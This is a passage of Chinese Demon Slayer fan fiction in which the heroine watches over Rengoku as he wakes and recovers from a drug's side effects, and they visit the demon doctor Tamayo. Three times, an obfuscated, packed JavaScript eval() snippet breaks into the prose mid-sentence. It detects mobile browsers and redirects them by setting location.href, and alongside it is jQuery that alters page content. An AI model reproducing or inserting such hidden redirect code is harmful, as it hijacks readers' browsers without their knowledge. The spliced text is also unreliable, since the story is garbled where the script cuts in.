我已经完全了解了流程,这次不等不死川先生开口询问,我就主动介绍起杏寿郎目前的状况和当时看到的景象。不死川先生只在听到杏寿郎性命无虞的时候应了一声,他对特效药的研究情况似乎毫不在意,眼神都不曾变动。 一直到我说起向猗窝座射出的三枪,他的表情终于有了变化,言词直白地打断我的话语询问子弹击中后的状况。 “嗯……”这怎么不算是正中靶心呢?前两天武器研发的负责人来探望时也向我了解了子弹的使用情况,我只能用“不太清楚”来回答的时候那张瘦削的脸上历来严肃的表情差点都没端住,“我也不知道呢……”毕竟向上弦之三射击时我的情绪正处于理智与疯狂的临界点,根本无心去观察子弹击中鬼的血肉后会发生怎样的反应,更遑论他逃跑得那么迅捷。 虽然按当时的情况,即使猗窝座不逃走而是留在原地,我也没心思关注他就是了。 不死川先生没关注后续的事,开口向我要了特制子弹后就匆匆离开了。他离去的背影用羽织背面带有的杀字悄无声息地告诉我他的决心,我想他极大概率会去找个鬼来试验一下子弹的效果。如果早知道不死川先生是这个类型的角色,那我就应该告诉他还有针对鬼研发的特制炸药亟待试验,说不定他会感兴趣! 黑船开国后还活在旧时代的人自然也有,但是在东京这样的人到底已经少了。最初知道鬼杀队佩刀以杀鬼时我总有些恍惚,直到了解制造日轮刀的特殊金属我才明白:并非不喜欢枪械这样简单果决的武器,而是没有办法。 所以我坚信特制武器的开发一定会给鬼杀队的行动带来极大助力,甚至可能发挥出远超想象的作用。 最后赶来的恋柱和蛇柱。恋柱甘露寺小姐我早有耳闻,之前就听炼狱杏寿郎提起过。因他的描述,我对这个少女抱有极大的好奇心,想知道究竟是怎样的一个女孩子能够作为他的继子一跃变成柱。 好奇让我的大脑有了自己的想法,但每每出现在脑海中的都是一个与“甘露寺蜜璃”这个名字截然不符的形象。于是见面的机会就这样不约而至了。 他们到达的时候我正在和桥下先生交流杏寿郎的恢复情况,虽然他依旧陷入昏迷,但是身体机能早已自主运转起来,并且以相当高效的速度配合着躯体自愈。打断我们说话的是轻轻敲响木门的三下,“你好?”少女清亮的甜音响起,她微微掀门,先露出的是小半侧脸,确认房间无误后才正式开门进入。 是一个相当可爱的少女,最先引人注意的是编成三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613427|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条粗大麻花辫的樱粉色长发,发梢清新的草绿色为对她的第一感官带来极大的亮色。 当凝目于她的外貌时,浅叶绿色的一双大眼睛便牢牢抓住人的视线,与她对视像在河岸边观察自己的倒影,一切无所遁形。而两眼下的痣像是脸颊上红晕的点缀,她带着大大的笑容。还有让人意想不到的,与忍完全不同的队服,几乎是在刻意彰显她丰满的身材。 我站起身想要打招呼,从已有的经验里完全可以判断来者便是恋柱,虽然素未谋面,但是亲近感却自然而然地涌上心头,我可以确认自己很喜欢她,感觉跟她会相处得很不错! 不等我说些什么,甘露寺小姐已经小步跑上来握住我的手。“你好,有栖川小姐!”她声音轻轻的,“炼狱先生经常说起你!我是甘露寺蜜璃,很高兴认识你!”说着说着她的语速越来越快,牵引着双颊上的绯云越来越红,几乎到了额间快要冒汗的程度。 “你好。”并不是我回应的。语调极其平淡的招呼声轻巧地打断甘露寺小姐的紧张穿插进我们的对话。这来自跟在她身后的像一片漆黑的阴影似的少年,黑色短发、苍白肤色,用绷带缠紧嘴部,脖子上盘着的支起头颅的白蛇不断吐出信子,处处都显出些与众不同,但是处处都没有他那对金绿异瞳来得更诡异。 “嗯!”甘露寺小姐回身看向黑白的少年,再次面向我时热情地对我介绍起他:“这位是伊黑先生!伊黑先生是鬼杀队的蛇柱!” 我同样大力地回握她的双手,“你好,甘露寺小姐!”甘露寺小姐的热情开朗让我仿佛品尝到炼狱家祖传的风味。该说她果然是杏寿郎的弟子吗?在待人这一点上两人出奇的相似,让人不由自主就想要亲近。嗯嗯,再顺便和伊黑先生也打个招呼。 与甘露寺小姐不同,伊黑先生在我同他打招呼时只短暂地与我视线接触了一秒,转而继续时刻注意着甘露寺小姐。 在甘露寺小姐的关切询问下我又一次复述了炼狱杏寿郎为了保护无限列车的乘客而做的一切。这对我而言无疑是一个脱敏行为,至少多次重复他的英雄行径后,战斗的惨烈留给我的震惊逐渐褪色,剩下的唯有他以一己之力与鬼战斗保护了所有乘客的荣耀。 我不再因此做噩梦了。炼狱杏寿郎因失血过多而死亡的噩梦消失在我的睡眠中后,我对于他身体状况的情绪也逐渐平静下来,不再因为些许细小的变化而时刻心神不宁、患得患失。 因为他还活着,而这是最重要的。 从那个恐怖的清晨至今整整五天,五天的时间,炼狱杏寿郎一直没有醒来。原本笼罩我的他何时会醒来的焦虑情绪因为每天都有大家关切的拜访而缓解。陪护并没有什么困难的,医院内有专业的优秀医护人员为他换药护理,我不需要忧心什么,时间也就这样一点点溜走了。 唯一的问题就是我的作息变得非常不规律,时常半夜难以入眠,白天却会昏昏欲睡。 私人病房内有陪护的单人床,有时我会躺在小床上休息,但是更多时候我宁愿趴在床边。每到这个时候我就会一手牵住他,然后枕着手臂入眠。 病房内消毒水味没有太重,但我每天都会熏染紫藤花香,借着触碰到他换得一丝安心,只有这样我才能入睡。虽然每次都是浅眠。一旦有人要把这熟悉的体温从我手中剥夺,内心骤然裂开的口子刹那间灌满空虚,勒令我即刻醒来。 我睁开眼,被子覆盖下我握着的人还在,只是静默中他的指节忽然轻轻勾动我的手指。 这个细微的动作让我猛地坐起。在我难以置信的眼神中,先前还昏迷着的人此刻正目光灼灼地看着我,窗外的薄金洒落他肩头,将他发梢的红熔进模糊的光线,这一切唐突得令我以为自己在做梦。 “朝和。”他轻轻叫我的名字,没有挣开手,反而翻转过来用力回握住我的,握紧的动作甚至让我感觉些许痛意,但我没有放开。梦终于醒了,他也终于醒了。 “你不用再害怕了。”他保证道。 30. 复苏 窗外闪烁的阳光落在樱树蓬松的树冠顶。在英国,野樱桃纯白的花往往会在复活节前后疯狂吸引着人们的目光和胃,但是在日本,每年都会令人痴狂的大多是观赏樱,花开时如阳光乍现,是春季到来的标志。 坐在树下休息的男人正在等着我过去,他穿着与往常截然不同的休闲浴衣,一只眼戴着眼罩,浅色的布料将背景的光线映衬得更加明亮。我想起自己还未曾赏过樱,但春天毕竟一天天地近了,这样的机会总会有的。 从炼狱杏寿郎那天醒来至今已经过去三个昼夜,曾经担心他无法苏醒的恐惧无疑在我心底留下深深的刻痕,我依旧沉陷在一种迷茫的不真实感中。因为他的苏醒,我不必再昼夜不舍地等在床前,同样他也不认同我留守病房过夜的行为,当他知道这些日子我是怎样度过时,眼中的惊讶几乎将我淹没。 那天桥下先生正为他检查身体,全身器官几乎全部都回到完好无损的战前状态,除了眼睛。眼球毫无疑问是人体中最脆弱的器官之一,不知道是不是Afterlife优先治愈了致命的贯穿伤的缘故,同样是受到重击的眼部损伤还没做到完全恢复,他恐怕要戴着眼罩度过一段不短的恢复期了。 但是从检查结果来看,注射进他体内的Afterlife应该已经被吸收殆尽,至少身体里残余的那点药量已经不会对他造成影响。可是出人意料的是后遗症依然显著,第一天他甚至没能离开床上。身体大约只保持了五六个小时的清醒,支撑他做完全套检查后强烈的头疼毫无理由地袭来,让他的思维无法运转,很快又昏昏睡去。 第二天他才重获了部分身体的控制权,但是比起对于酸痛四肢的掌握,真正的问题此刻才姗姗来迟——几乎等同于他身体本能的呼吸法成了一切的阻碍——当他的意识苏醒后,重新启动的各项身体机能伴随着呼吸法的运转被Afterlife杀了个措手不及。 不知道是药剂中灵感源于鬼的那部分,还是紫藤花中提取到的元素,总之后遗症在他身体里与呼吸法两军对垒,呼吸法运转得越快,心悸头晕的程度也就越严重。 得知情况后,桥下先生谨慎地为他复核了症状,用简练却过于官方的术语重复Afterlife研制的原理,得出的结论是炼狱杏寿郎必须在养伤这段时间停止使用呼吸法,直到药效被真正彻底吸收,身体完全康复。 我看向杏寿郎,他的表情倒不是我猜想中的凝重,相反有些不明所以的茫然。桥下先生离开后,想明白情况的他才笑着跟我说道一时之间完全不知道要怎么让呼吸法停下来。 呼吸法是鬼杀队的立身之本,数百年来每一个灭鬼人都使用着这种特殊的剑道贯彻己道。从小作为炎柱继任者培养的炼狱杏寿郎同样用很长的时间让身体记住全程保持呼吸法的运转,又用了更长的时间让身体将之变为习惯。但是现在,他又必须在短时间内忘记它。 我本来以为不论如何,他总得需要几天时间来调整自己的状态,但是出乎意料地,第三天时,他就可以缓慢地下地行走了。虽然脚步没能迈出住院楼。当他站在向下的楼梯前时,对于四肢仍有些僵硬的控制与对停止呼吸法的注意这样一心二用的行为几乎是在脑海中天人交战,他迈出第一步时身体踉跄了下,险些跌下楼梯。 我吓得差点魂飞魄散,幸好那一刻速度爆发及时搀扶住了他。 “杏寿郎!”凌驾于理智之上的本能永远那么迅疾,从喉口炸出的名字磨过声带差点破音。 他跌向我时也同时伸手扶住了楼梯扶手,很快便稳住身形。这时我意识到自己更像是过度担忧,毕竟再怎么虚弱,他现在也算得上是一个健康的炎柱大人。注意到他垂落在我身上的视线,悻悻地想松开手时,我听见他喉咙中滚动的笑音,开口时随着每一个字符向上轻扬:“所以我,在梦里的时候也没有听错吧?” “什么?”梦可不是一个好词,这段时间里我做过的噩梦比我之前十几年加起来的还要多,而且花样百出。有的梦境可能只有几秒钟、几个零碎的画面、几个喑哑的音节,他微笑着说我很快就会死去。 这样简短的一幕刻画出死亡的效果却比任何黑暗都来得更深沉,即使我醒来后也依旧逃不出那股阴沉的悲痛。 他笑起来,弯着眼睛的金色猫头鹰歪了歪头,“在梦里的时候,我有听到朝和叫我的名字……”他顿了顿,“杏寿郎。是这么叫的。” 从他醒后,由于他的坚持我没再在医院过夜,往往是近黄昏时我陪他吃过晚饭,肖恩便会开车前来接我,等到第二天我才会再来医院看望他。这三天里,某种近乡情怯的奇怪感想也笼罩着我,让我很少能够开口与他大段大段地交流。 每一个白天我打开病房的门,都会看见他坐在床上静静地凝望窗外的远日,半长的金发垂在肩上,赤金色的眼瞳中火光平缓流动;而每一个黄昏我离开时,浓艳的霞色落了他一身,直到我退出病房关上门,他温暖的视线都会一直跟随着我。我没能再用手指去触碰他的温度以确认他的存在,仅能用双眼铭记。 我并非羞于开口直呼他的名字。相反,在他的身体情况越来越稳定后,曾经挤上我舌尖的这三个字分量越来越沉重。每次叫出他的名字时,脑海中闪过的画面却永远是他满身是血奄奄一息地跪坐在地。而悬崖之上,支撑我牢牢抓住逐渐冰凉的那双手的力量源头正是——“杏寿郎”,当我这样念出,我只敢祈祷让他活下来。 险些失去他的恐惧终于正式降临了,他孤身挡在最前的背影如同行走在诀别的路上,尘沙里模糊的身形差点就再也分辨不清了。我尝到一种苦涩,是从心口流进血管的毒酒,最重要的一味原料是我的愤怒。 炼狱杏寿郎清楚地知道人类的脆弱,生命的终结总是轻而易举的。偏偏他没有因此珍视自己的生命。我当然知道他的坚持,我知道他的原则和立场,可是看到他理所当然地透支心灵去挡住危险我依然深深感到痛苦。 因为我在意他,重视他的生命,我无法失去他。我如此地喜爱他。 无法直言的情绪促使我开始躲避他的名字,生硬地略过他的视线,他关切地看向我时,我若无其事地移开目光。 “炎柱大人”——我故意用这个称呼叫他——“该喝药了,炎柱大人”;“该吃饭了,炎柱大人”;“该复健了,炎柱大人”;从第一句炎柱大人脱口而出,他当然就感受到我怪异的心情,但是每次他叫住我时,我都会找到下一个借口避开和他交流的机会。 我不知道要怎么说,因为下一次他依然会用自己的生命做最后的壁垒,而他身为柱的责任感也是吸引我目光的原因之一。我更加苦闷了。 所以当他说出这句话时,我就知道,他想要解开我们之间别扭的根源,而我无处躲藏。 他鼓励我、教导我、陪伴我,时间是冰冷而无感情的现实量度,但是却能神奇地加深我们之间的羁绊。当我意识到自己无法承受失去他时,我从未宣之于口的爱就通过他的名字被传递而出。 “是的。”代表承认的这两个字说出是那么轻松。我向来很勇敢,也勇于挑战。人生便是如此。 经此一事,我懂得的道理只有:从来没有所谓的最好时机。不要偏等到“最好的那一刻”才肯动作,这样只会让机会悄悄溜走——“杏寿郎。”我将每一个音节都清晰念出,向他扬起一个笑,直直对上他的双眼,“我是这么叫的。”——我知道他最后的坚持永远无法改变,但是没关系,我的爱意重于一切。只要我准备充足,任何时候都会是最好的时机。 “朝和……”他怔愣片刻,又如梦初醒地转身向我,被我扶住的那只手反手用力握住我,另一只则落在我肩头。 我猜到他想说些什么,这股预感轻巧地来临,在我心头跳动,让我也跟着紧张起来。在这一刻我们仿佛回到炼狱宅的道场外、鬼杀队的蝶屋前、无限列车的车站内,从前每一个“一切尽在不言中”的瞬间走马灯般旋转出现,而我与他一直共存。炼狱杏寿郎不断用视线逡巡着我的脸,似乎想看清我神情下是否有遮掩的情绪。 但我什么也没有藏起,他什么也不会发现。突然地我被揽进温暖的怀抱里,贴到他胸口时能够清楚地听见有力的心跳声,每一次鼓动几乎与我同频,让我几乎专注于此。他逐渐收紧了怀抱,胸腔因发声而共振,所有语言都主动跑进我的大脑:“朝和,听我说,在从前、到现在,我与你的心情是同样的。 而未来,我不知道要怎么许诺,但是……” 他没能把话说完,因为一时不察失去对呼吸法的刻意停止后,重新恢复运作的呼吸法冲上后遗症的高地给他当头一棒,让头晕堵住了后面未尽的话。他一边压抑着头晕目眩的痛楚,一边更用力地握住我的手,想将没能顺利说出的话通过这个动作完整传递过来。 不知为何我失笑出声。可能是炼狱杏寿郎现在的样子实在难得一见,也可能是默契的喜悦滚滚而来。毕竟即使他永远保持沉默,他那无处躲藏的感情我也早已洞悉。 ——而未来,这份心情也不会改变。 受伤前杏寿郎的斗气就已凝练至极致,但那种强者的气势是外放的,随着呼吸法奔腾于体外。而他逐渐掌握停止呼吸法的方法后,会让人感到威慑的斗气安静下去。 现在的炼狱杏寿郎,第一眼看到他时已不再是一团显眼的熊熊烈火,汹涌的斗气随着他状态的调整逐渐凝聚进体内,在他的灵魂中化作火海,随时可以倾泻而出焚烧一切。 不依靠外力,炼狱杏寿郎本身的观察力依然敏锐,他已经发现我的所在,视线捕捉到我的位置。近来天气变换,我去替他拿了一件外套,我也是才知道呼吸法的运转甚至可以帮助身体保温而不畏寒暑。 不过这种全然超出我认知的内容现下也失去效用,毕竟他还得专注让身体忘记呼吸法。虽然是要忘记,但事实上他必须全神贯注地提醒自己不再运转呼吸法,越是如此,记忆便越深刻,反而更难忘记。如果专注力消散,一切努力都白费。 攀生的枝干漏下阳光,横生的枝影交结成一片花纹,干燥的午后一片静谧。我坐到他身边,他接过外套整齐穿好后平静地说道:“这比最初练习呼吸法时要难上不少。”从炎柱大人嘴里听到关于艰难的抱怨或是感慨,放在以前是不可能的事。 即使他很少说起自己小时候练习的事,我们也都清楚他在剑术一道上向来天赋异禀、成绩斐然。我想他当初成功掌握呼吸法一定也用了很短的时间,只不过战斗是刻在剑士骨血中的行为。此刻的停歇并不具备终结效益,总有一天他会再次握着刀踏上战场,使用呼吸法斩尽所有鬼。 我再次挽上他的手臂,陪他在医院的庭院里闲逛起来。虽有阳光,但春寒料峭的天气让植物生机凋零,难见些许绿意的植物造景中游走着某种伤感,可我身边有他,无法感受到物哀之意。“再次做个普通人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哦,是灶门少年啊!”看到欣赏的后辈炼狱杏寿郎心情显而易见的高昂,他昏迷时他们倒是经常来看望,但是醒来后这还是第一次见面,“嗯,还有猪头少年和黄发少年。好久不见!”属于炎柱家传的活力跟着杏寿郎取的绰号被抛出,这让我想起他曾经叫我有栖川少女,那明明是不久之前的事,但现在想来,却已经有些模糊了。 “最近怎么样?身体还好吗?”列车事件中,伊之助与善逸并没有受什么伤,杏寿郎关心的是炭治郎的身体状况。 “已经完全好了,用了桥下医生的外伤药。最近一直在针对呼吸法的运用进行练习。”因为使用了特效药,最初两天炭治郎也被桥下先生留在医院进行小白鼠式的观察,直到确认他的身体状况已经完全无碍,且特效药并无不适后遗症。 看得出来灶门炭治郎很有长男的风范,是这三人组中的发言人代表,“炼狱先生呢?身体恢复得还好吗?有没有什么不舒服的?” 他们的视线统一落向杏寿郎的身躯正中,曾被猗窝座一拳击穿的空洞处。那里现在已经完全恢复,残留的只剩下虬结如地面树根的疤痕,深粉色纵横交错。桥下先生后来委婉地提起过这处增生恐怕无法完全消除,纵使若干年后,它依然会强硬地存留在此。 我们都没有在意,认为或许作为列车事件的纪念也不错——他该吃个孤身犯险的教训,至少我是这么认为的——虽然感觉下一次他还是会这么做,身为柱,他就会永远站在所有人之前。 看来我得一直做好万全的准备了。 炼狱杏寿郎点点头,声音一如既往地洪亮:“恢复得很好。”但没提起后遗症。他从不把难处说给别人,以他体谅别人的性格来看,可能是为了减少他人对自己的担心吧。“正好,灶门少年,我有事和你说。”他说起这个话题时垂下双眼,神情有一瞬间蒙上怀念的色彩,“在做过去的梦的时候,我想起了一些曾经的事情。” “你可以去一趟我的老家:炼狱家。那里有历代炎柱留下的记录,父亲经常读它们。但我没有读过,不知道上面有什么。”炼狱家是鬼杀队有史以来便一直存在的成员,炎之呼吸更是鬼杀队五大基本呼吸法之一,炎柱所记录的历史之悠久与鬼杀队的存在并无不同。那些写满历代炎柱字迹的手稿里,至少可以向前追溯近五百年的时光。 他轻声道:“你所说的火之神神乐,或许会有记载。” 炼狱家这个特殊地点出现时,无声的提示撞向我的大脑。作为一个经常在炼狱家与有栖川家两头跑的人,这方面我可是太有权威性了。“炼狱家离这边可不近哦,”有栖川家的家宅安置在东京中心范围,出行可谓是十分便捷,但是炼狱家却坐落在荏原郡一个叫驹泽村的地方,电车交通并不通达,步行过去恐怕要到天黑了。 我提议:“不如就叫肖恩开车带你们去吧。这样来去也方便,能节省不少时间。” 原本在向炼狱先生疯狂鞠躬致谢的炭治郎这会儿把头朝向了我,他是个十分注重礼仪的人,每次鞠躬都是标准的九十度,将自己的姿态放到最低。我并不太适应这种环节,更何况也算不上帮了大忙。万幸的是他这次很快停止了动作,想起什么似的从衣兜里拿出一封信递给我。 我不解地接过,浅色的信封上只写着“有栖川朝和(收)”,我将信拿到面前欲拆开时,一股隐隐有些熟悉的淡香飘进我的大脑。“这是?”我看向灶门炭治郎。 他解释道:“这是珠世小姐让我转交给有栖川小姐的!” 珠世小姐……伴随这个名字出现的第一印象是一只可爱的三花猫。它背着收集了猗窝座血液的容器离开了,而目的地正是它的主人珠世小姐那儿。 这会儿,我才真正想起,这并非我第一次收到珠世小姐的信。炼狱杏寿郎踏上无限列车前,我在实验室那里收到的那封有着相同淡香的信跃然脑海。 31. 冬末 有栖川小姐 展信佳 早前从鬼杀队那里得知了您正在准备针对鬼的特效药物的消息,所以向您唐突寄信,还请原谅我的冒昧。 我是一名医生,不过与您或是鬼杀队的视角不同,我是以一个鬼的立场来研究这一切的。虽然身份不同,但是在制药的目的上,或许我们也都是荒川的支流,最终同样会汇入东京湾。 那么,人与鬼的立场也就不再敌对,古来所说‘殊途同归’便是如此吧? 后附有我的住址,期待您的到来。 顺颂时祺! 珠世 从炭治郎口中再次了解到这位名为“珠世”的女士,我打开那封信阅读起来。端正秀美的字迹流连纸上,我脑海中她的形象也就形如这一笔一画,勾勒出一个婉丽的黑发背影。不知道为什么有一种和外祖母很相近的气质,或许是因为信中有些古朴的用词带来的。 炭治郎再三向我保证珠世小姐值得信任,虽然是鬼,但是与我们所认知的鬼截然不同,她是一个相当善良的鬼。从他焦急的神情,我看出他在担心我不愿去赴约。不过……我把信纸沿着先前的痕迹重新折起,完整地放回信封内。 “刚才我看到了住址,之前我有去过那附近,从医院步行过去也很方便呢。”原本我是该对这个生僻的位置感到陌生的,但我的礼仪老师枝子夫人就住在那附近,我曾经前去拜访过一次,而现在我良好的方向感与出色的记忆力再次帮助了我,“晚一点我会去拜访她的。” 我做下决定。 炭治郎又主动说了一大串该怎样找到珠世小姐住处的注意事项,最后才在肖恩皱着眉的注视中,被另外两小只拉着坐上车。肖恩没有第一时间开车离去,他满含劝告地开口:“小姐,如果可以,希望您能在我回来后再行动,这是一件具有危险的事,届时我会陪同您一起前往……” 恐怕不可以。但我绝不会这么说的,“当然,珠世小姐毕竟是鬼,我会在天黑后前往的。”我向肖恩坚定地表达了自己的态度,他才认真地颔首,摇上车窗离开了。 “去炼狱家并不会太久。”一直跟在我身后没有说话的炼狱杏寿郎突然开口了。“嗯!”我点点头,“不过我要担心的不是这个。肖恩的开车技术很有保证,他追火车的时候我都没有觉得颠簸哦。” 一个不日常的行为名词让杏寿郎瞥了我一眼,他用手轻轻地落在我头顶拍了拍。 我猜他很有这种举动的经验,知道要怎样驱动指节顺着头发的方位下落,而不至于弄乱我的头发——我今天早晨起来时特意让嘉泽乐帮我编了头发——我们一起站在医院门口没有动作,直到汽车已经彻底离开视线。他沉吟片刻,恍然大悟:“那么,朝和是在担心我父亲吗?” 被说中了。 虽然没有正式与杏寿郎的父亲见过面,但是他已经被我的想象构建成一个很难搞的形象,大约所有中年男人该有的缺点都能在他身上体现,而炭治郎他们,到底要怎样才能撬开这位前炎柱的嘴,从他手中拿到历任炎柱的手札,恐怕不是一件易事。 毕竟连炼狱杏寿郎自己都不是很能处理他的样子……“没有的事。我只是在想从哪边去珠世小姐那边距离更短呢?”我移开视线,盯着医院门口截然不同两个方向的道路沉思着。 “现在就要走吗?”他愣了愣,“如果对方是药物研究这方面的医生的话,可以带着‘来世’的样品给她参考一下吧?” 该怎么说呢?自从知道十二鬼月中上弦的几个实力如此强劲,东京的夜晚在我眼里也就越发肃杀起来。虽然遇见上弦之鬼并非如此轻易的倒霉事,但是我总隐隐有种恐惧的预感,哪怕今天肖恩无事,我也不会随意在黑夜降临后外出拜访一个鬼。 更何况……在杏寿郎紧紧的注视中,我小心翼翼地向他打开手袋,避开光线展示其中的内容——两支天青色的药剂正躲藏其中。 “这几天忍不是一直在蝶屋嘛,所以本来今天下午是打算去给她送实验室这几天调整配比后重新制作的药剂的。”而且考虑到鬼杀队的山路,今天还特意没穿和服,在搭配服装时也特意没穿高跟鞋,现在叫我去外面沿街跑个半马拉松恐怕都不成问题,我感叹道:“真是意外之喜啊!” 炼狱杏寿郎笑起来,煞有介事地点评道:“料事如神呢,朝和,很厉害啊!” “正是!那我就趁着阳光正好先出发吧!”果断承下这句夸奖,我向炼狱杏寿郎挥手道别,“您也该回去休息了,炎柱大人。”说罢,我就迈步离开。 但是听见木屐落地的特别声音正跟在身后时,毫不意外的心情出现,我一点也没觉得炼狱杏寿郎会同意让我一个人前去,他身为柱的保护主义又蠢蠢欲动了。不过,我看向他:“如果我没记错的话,你现在还在住院观察阶段。不要以为自己身上看起来没有伤了,就可以偷跑出医院啊?” 炼狱杏寿郎毫不在意地走上前,忽略眼罩的存在,他穿着浴衣搭配羽织外套的样子看起来像个风度翩翩的世家青年,一种独有的气息正在他的身体中沉淀,让他的锋芒逐渐内敛,显得愈发温和沉稳。 他走到我身侧时才伸手牵住我,比我体温略高的皮肤在触碰到我手指时便收拢,他唔了声,目光在我脸上流转了下才重新开口:“其实昨天的时候我有问过护士长能不能回家一趟。本来是想今天去一趟家中,见一下父亲的。” 啊? “她说晚上八点的时候医生会来查房。”他在观察我的表情,我努力绷住面部肌肉,定定地直视前方,绝不泄露出一点异样。于是炼狱杏寿郎低下头凑近了过来,他压低嗓音,“生气了吗?” “……没有哦。”这有什么可生气的,我早知道他是这样的人,如果今天炭治郎他们没来,而我正好去蝶屋送药,那他一定就会前往炼狱家了吧。无限列车事件结束后,炼狱杏寿郎住进医院已经有一个多星期,然而也只是千寿郎前来探望过。 那天杏寿郎还没醒来,黄昏中,千寿郎说自己已经将兄长的情况告诉父亲了——但是他没再说下去,我对杏寿郎父亲的形象就是在这一刻走上从未有过的分支的。 为人父者,在孩子面临濒死的危机后都没有前来看望过,究竟是有着多么巨大的分歧?这天底下父亲角色的差异大到我真难以理解。 “不过啊,这种事以后都要跟我说!”我停下脚步转而直视他,只有在他燃烧着火焰的双眼中清晰地看到自己的倒影时,我才能安心下来。 对很多事的笃定消失时都是无声无息的,脆弱也往往像沙漠化难以遏制,我的声音不由得轻下来,像在寻找什么能让自己在溺水时抓住的浮木一样,声音脱口而出时满是祈求:“让我陪着你,就像现在你陪着我一样。” 对我此刻内心不得安歇的纠结,杏寿郎又知道些什么呢?然而以他的敏锐感知,或许他什么都知道,他收紧了握着我的手,郑重地说:“不会忘记的。以后都不会的。” 沿着我记忆中的路线,再加上炭治郎的指导,我们最终站定在一堵墙壁前,杏寿郎告诉我这里确实存在鬼的气息,很淡,并没有强烈的攻击性。四周无人,我伸手摸向墙壁,按照炭治郎的回忆这里应该是一种特殊的障眼法,但是炼狱杏寿郎比我速度更快地伸出手率先摸向墙壁。 他的手陷了进去。明明是看着无比真实的存在,用手摸去却没有实际触感,甚至像是穿过空气一般轻易穿透过去。我们互相看了对方一眼,在无声的默契中,杏寿郎牵紧我的手先一步迈向前。这层障壁并没有现实意义中的厚度,穿过它就进入一个空旷的院落里,干净整洁,但空无一物,只坐落着一栋西式大宅。 与之前一路上并排行走不同,此时杏寿郎一直走在我前方,他敲响建筑的大门,咚咚,在这个寂静的午后,日头微微西斜,阳光却未减少半分,再强大的鬼都要躲避在黑暗中。 屋内传出一个女性温柔的声音,“请进。” 推开门,映入眼帘的竟然是一间设施齐全的干净诊室,而宅子的主人正站在更里一间的和室门前——穿着深色留袖和服的女子有一张年轻的面孔,黑色的长发在脑后盘成一个光滑的髻,她紫色的眼中如有烟雾吹起,这会儿正落目于我。 “有栖川小姐,你好。”她温柔的语调中带有一丝亲近,让我莫名对她感到喜欢,“自我介绍一下,我是珠世。”她指向身后,“这是愈史郎。很高兴见到你。”话虽如此,但是站在她身后那个白色短发的少年,表情看起来却不太友善的样子。 我对珠世小姐确实有着特别的想象,但是没想到对方竟然看起来如此年轻,似乎也才二十左右。“啊!您好,我是有栖川朝和。”我向她微微鞠躬,杏寿郎的声音就跟在我的话语后头,他的声音就跟从前差不多,听不出什么意味:“炼狱杏寿郎。我曾听主公说起过你。” 珠世小姐的目光微微向他转移,她脸上的表情并没有因为猎鬼人的出现而改变,“炼狱……是鬼杀队的炎柱大人吗,我已经听说了您之前和猗窝座战斗的事情,真令人敬佩。”说着她微微侧身,“请先进来说吧。” 西式的别墅内,出现日式和室的装修显得如此特别,然而作为和室内的装饰,却也有着不少例如油画、烛台的西洋器物,不仅如此……珠世小姐正手法娴熟地泡着茶,与日本茶道不同,这种烹茶手法更像是中国的茶道。片刻后,她将第一盏茶递给我。 茶汤清亮,色泽翠绿带紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613429|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,茶叶白毫微显,紧实完整,闻着有极淡的兰香。我看向珠世小姐,她正用有些和蔼的眼神看着我,让我想起了梦中的外祖母,那看向我的眼神充满慈爱,我低头饮茶,入口鲜醇清新,不带生涩,回味甘甜。“很好喝!”我由衷赞叹。 “牡丹花笑金钿动,传奏吴兴紫笋来。”珠世小姐念了句诗,她想到了什么,脸上笑意绽得更深了,“顾渚紫笋,你外祖父当年来到日本时带来售卖的茶叶。是你外祖母后来的挚爱。” 意外让我睁大了眼,我惊奇地发问:“您认识我的外祖母?” “是的。我从前见过你的外祖母,妍瑰,她是一个勇敢、正直、一丝不苟的人。”珠世小姐仔细地看着我,“所以,当我知道你在负责针对鬼的特效药研发时,就想见你一面。” “你和她很相似。不是外貌上,而是灵魂。” 准备从珠世小姐的住处离开时,天已经黑了,她和愈史郎站在庭院内同我们告别。我将调整过配方的两支Afterlife留给她,并告诉她有栖川家正专攻的药物方向。 与珠世小姐一直以来致力于的方向果然不同,她所研制的想将鬼变回人类的药物是更为大胆也更为艰难的课题,这一点上,或许我们能为她提供的帮助有限。但是忍的身影却突然出现在我的脑海中,我想蝶屋应该能够做到。 如果这种药真的可以研发完成…… 回去的路上我一直想着这件事,珠世小姐和愈史郎站在黑暗的空旷庭院内望着我们离开时几乎快化作黑洞洞的夜里的两道影子。 “在想什么?”杏寿郎问道。老实说我觉得他一定知道我在想什么,但是每次他都会重复询问,不知道是不是为了佐证自己的猜想。 “我在想如果珠世小姐说的这种药真的可以研发完成,那么总有一天,我们会在阳光下见面的。”我摇了摇我们牵着的手,这个想象让我感到快乐,这世上并非每个人都是自愿变成鬼的,有更多的无辜者惨死于鬼的嘴中。不能只贯彻灭鬼的意志,还要拯救其他受到牵连的人。 